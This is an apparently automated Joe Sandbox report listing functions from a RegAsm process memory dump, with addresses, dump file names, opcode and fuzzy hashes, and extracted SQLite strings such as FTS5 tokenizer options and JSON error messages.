Function 1FED30F0 Relevance: 12.2, APIs: 8, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 611d3b60b25212ac9ea0e44e3c68780904502b0b46386aa3cc0944c9cd312eb3
Instruction ID: 67401f2e892364ebdc4f0de74684f0ef2ebed8a05f5d73cd808e8251df673168
Opcode Fuzzy Hash: 611d3b60b25212ac9ea0e44e3c68780904502b0b46386aa3cc0944c9cd312eb3
Instruction Fuzzy Hash: A1519272608300AFDB41EB68FC04E9B7BE2EFC5320F0985A9F558872B5E332D9559B41

Function 1FECB6E0 Relevance: 12.1, APIs: 8, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bea52c12d9cdcc298f87c2247c29d73d7f72d8e7ef88c33039343fd884301fe3
Instruction ID: ad9e63d5611243203aa089781cd7c9af4c992fa9c0ee5ceec9ba0d9a6c24b392
Opcode Fuzzy Hash: bea52c12d9cdcc298f87c2247c29d73d7f72d8e7ef88c33039343fd884301fe3
Instruction Fuzzy Hash: 86112BF9C08310BFDA059B20EC41E6B77A9EF91715F4405ACF84987231F73AE919D2A2

Function 1FF27920 Relevance: 10.8, APIs: 7, Instructions: 338COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7c0a64c567377825aa826e38cd61e7aab24cd6bc2d57a6723dcf8eefeade29f
Instruction ID: 56640cd91894bd9e006c5a504883e7b0a56d6d32bb75e354bfd25f991081e02b
Opcode Fuzzy Hash: d7c0a64c567377825aa826e38cd61e7aab24cd6bc2d57a6723dcf8eefeade29f
Instruction Fuzzy Hash: EAB1B0B6A04302AFC704DF29CC81A5AB7E5FF88224F84452DF949D7711E775F9248BA2

Function 1FECE260 Relevance: 10.8, APIs: 7, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 094e4a02ece9323c9481327d2f492cd7c836f88cca8ea3b9f3769ff4f372b2ab
Instruction ID: 9a4b70a5f336e8d1199e378686be118ecf6c04b888b4049e5e8f8141d2073272
Opcode Fuzzy Hash: 094e4a02ece9323c9481327d2f492cd7c836f88cca8ea3b9f3769ff4f372b2ab
Instruction Fuzzy Hash: 49A11675A083518FD704CF28C99175ABBE2BF85318F040A6DF8959B392E335F945CB52

Function 1FEC5930 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 234COMMON

Download Yara Rule

Strings

unknown tokenizer: %s, xrefs: 1FEC5B28
simple, xrefs: 1FEC5A38, 1FEC5A84, 1FEC5A95, 1FEC5B27
CREATE TABLE x(input, token, start, end, position), xrefs: 1FEC5933

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: CREATE TABLE x(input, token, start, end, position)$simple$unknown tokenizer: %s
API String ID: 0-2679805236
Opcode ID: 12b3eb61ccb1dbc5995daaa49b9d487acdb53748fc8dc35f3c3c51444a1766b8
Instruction ID: 54f5047d7d0e41ba4e24f601c2cc5ec8da73b97a01b55ed713417c34c683e572
Opcode Fuzzy Hash: 12b3eb61ccb1dbc5995daaa49b9d487acdb53748fc8dc35f3c3c51444a1766b8
Instruction Fuzzy Hash: 4D71BF719043068FD700DF28CD44A9ABBE9FFC4258F050669F859DB212EB75F905CBA2

Function 1FFCF0E0 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 216COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FFCF1EB, 1FFCF32C
misuse, xrefs: 1FFCF1E6, 1FFCF327
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FFCF1DC, 1FFCF31D
unable to delete/modify user-function due to active statements, xrefs: 1FFCF157, 1FFCF298

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse$unable to delete/modify user-function due to active statements
API String ID: 0-3864549341
Opcode ID: 266763c90f100f5de54fae7a0c6c7b51aa2d84be95a8da74c227d96af8a5c264
Instruction ID: 95881bb7b74ea422498736bfb957ba31e48d3f621f1cc0c123817d05c7d9b94d
Opcode Fuzzy Hash: 266763c90f100f5de54fae7a0c6c7b51aa2d84be95a8da74c227d96af8a5c264
Instruction Fuzzy Hash: 4A6134B6A00B137BF7018F20DC45F97BB95AF41708F054128E9199B2C2E7E6F25687B5

Function 1FF544F0 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 208COMMON

Download Yara Rule

Strings

row, xrefs: 1FF546A1
col, xrefs: 1FF54679
instance, xrefs: 1FF546BF
fts5vocab: unknown table type: %Q, xrefs: 1FF546DE

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: col$fts5vocab: unknown table type: %Q$instance$row
API String ID: 0-195232091
Opcode ID: 9ac03f22fb985ed0a7af20c0e89e310ec90a8890098a01a8343c2228f015e7bc
Instruction ID: 9b387fbb05e9199ce2504d2d7e74f06ca7de2853a8a2af02a94ee62c4bb633cf
Opcode Fuzzy Hash: 9ac03f22fb985ed0a7af20c0e89e310ec90a8890098a01a8343c2228f015e7bc
Instruction Fuzzy Hash: FF610476B09A118BF7009F28EC5868A77A4BF04605F100238ED05C7631EB79B515EBFA

Function 1FEE09C2 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 176COMMON

Download Yara Rule

Strings

cannot UPDATE a subset of columns on fts5 contentless-delete table: %s, xrefs: 1FEE0B3B

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: cannot UPDATE a subset of columns on fts5 contentless-delete table: %s
API String ID: 0-2869280805
Opcode ID: d758ddbe07432edb5b5e279a6a1db94cbeec10f8523fab3e7611a3cf32425f9e
Instruction ID: 4b62636c5eba4474a3a6df5d561343e2019ea4313a7177e8f4642314f41bfad0
Opcode Fuzzy Hash: d758ddbe07432edb5b5e279a6a1db94cbeec10f8523fab3e7611a3cf32425f9e
Instruction Fuzzy Hash: B741C176701305AFD7009F58EC809A6F7E5FF84229B104A7EFA499B622E772F854C790

Function 1FED3F30 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 169COMMON

Download Yara Rule

Strings

remove_diacritics=0, xrefs: 1FED3FE1
separators=, xrefs: 1FED40A3
remove_diacritics=2, xrefs: 1FED4021
tokenchars=, xrefs: 1FED406A
remove_diacritics=1, xrefs: 1FED3FA2

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: remove_diacritics=0$remove_diacritics=1$remove_diacritics=2$separators=$tokenchars=
API String ID: 0-131617836
Opcode ID: ab88f7fe662c6775a08e8f569a5b135803cbf03e2892fe83ed9c2c2af368218f
Instruction ID: 64736ca6979124453b1bf953b11eae85e00eb83b8118a2d9b96d5d4490bff03b
Opcode Fuzzy Hash: ab88f7fe662c6775a08e8f569a5b135803cbf03e2892fe83ed9c2c2af368218f
Instruction Fuzzy Hash: B851A5766043868BE3019F14D4807E6B7A2FB65328F8541A8F8465FA45D732FD87C752

Function 1FED1120 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 169COMMON

Download Yara Rule

Strings

rbu_memory, xrefs: 1FED11F5
main, xrefs: 1FED11A6

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: main$rbu_memory
API String ID: 0-3973752345
Opcode ID: f9f8a89498148a486feab15a1fb1dee77e648c5b778251575dbada1ae687055a
Instruction ID: 605ab6c85534a9087878747dfd09655b08679e44a55ec53eaeba9a7191471c8f
Opcode Fuzzy Hash: f9f8a89498148a486feab15a1fb1dee77e648c5b778251575dbada1ae687055a
Instruction Fuzzy Hash: 4B51D1B66047019FF700CF69DC84B9AB7E8AF84318F00412AF945D7A11EB3AF906DB91

Function 1FEC4CE0 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 160COMMON

Download Yara Rule

Strings

X[ , xrefs: 1FF53F69
temp, xrefs: 1FF53F91
wrong number of vtable arguments, xrefs: 1FF53FA9
,[ , xrefs: 1FF53F61

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: ,[ $X[ $temp$wrong number of vtable arguments
API String ID: 0-1921583299
Opcode ID: 453cc36f5da8f70ea954311c41db39217af51c0175552e2c8fde72149a50f369
Instruction ID: 401457e17654746c19af8104171eea20cfbc01ce5b5544ae652733d76c5b336e
Opcode Fuzzy Hash: 453cc36f5da8f70ea954311c41db39217af51c0175552e2c8fde72149a50f369
Instruction Fuzzy Hash: B851B1B5A043458FC714CF28D49059ABBF1FF89304F504A6DE8869B321D772F94ACBA6

Function 1FEC8C40 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 156COMMON

Download Yara Rule

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 1FEC8D35
winAccess, xrefs: 1FEC8D60

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 0-1873940834
Opcode ID: 6be4faa0ebd857f9dbdc0f900fbcca4a64f261272cf99d1ef20ff3a14d555326
Instruction ID: 9ab637d698668b7c9ba97f5f1f7198e6475f31397c9c0c298eff22c6ef1fb4d3
Opcode Fuzzy Hash: 6be4faa0ebd857f9dbdc0f900fbcca4a64f261272cf99d1ef20ff3a14d555326
Instruction Fuzzy Hash: 69411972D093415BD200DF648F8595AFFA4BFA5324F410A2DF966562A0E730E648C783

Function 1FFEE5B0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 147COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FFEE67A
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FFEE66B
d., xrefs: 1FFEE6E7
database corruption, xrefs: 1FFEE675
tVj, xrefs: 1FFEE6F7

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$tVj$d.
API String ID: 0-1527448856
Opcode ID: d63a5653eaff613bc74b06c43c50cd25f16e6fe8105cc0873a0436d251d3f2e0
Instruction ID: 369a0e748d27d898ccd31197083d40dbe7eb212ab9ba3b1d80e24ee77eaa71aa
Opcode Fuzzy Hash: d63a5653eaff613bc74b06c43c50cd25f16e6fe8105cc0873a0436d251d3f2e0
Instruction Fuzzy Hash: 98414A769003015BD7119F60FC80BAAB7E4EF41608F074479E9889A213F7B2F51ACBB2

Function 1FFD9350 Relevance: 10.6, APIs: 7, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b196f0ed3d3c53f1eab81f0f050166cc3bdc656242bb53ddee2aeba7cdf48e7
Instruction ID: 445387d57bd2f76d9c8e0098385e64906eb9d1940be13dc0a0df066fd6b494f3
Opcode Fuzzy Hash: 4b196f0ed3d3c53f1eab81f0f050166cc3bdc656242bb53ddee2aeba7cdf48e7
Instruction Fuzzy Hash: 06515D72508B009BF711AB74DC4CA9637B9BF04245B184128F906D2622EF7EF465FBA6

Function 1FF615C0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 135COMMON

Download Yara Rule

Strings

%!0.15g, xrefs: 1FF6160A
null, xrefs: 1FF615EE
JSON cannot hold BLOB values, xrefs: 1FF616D9

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
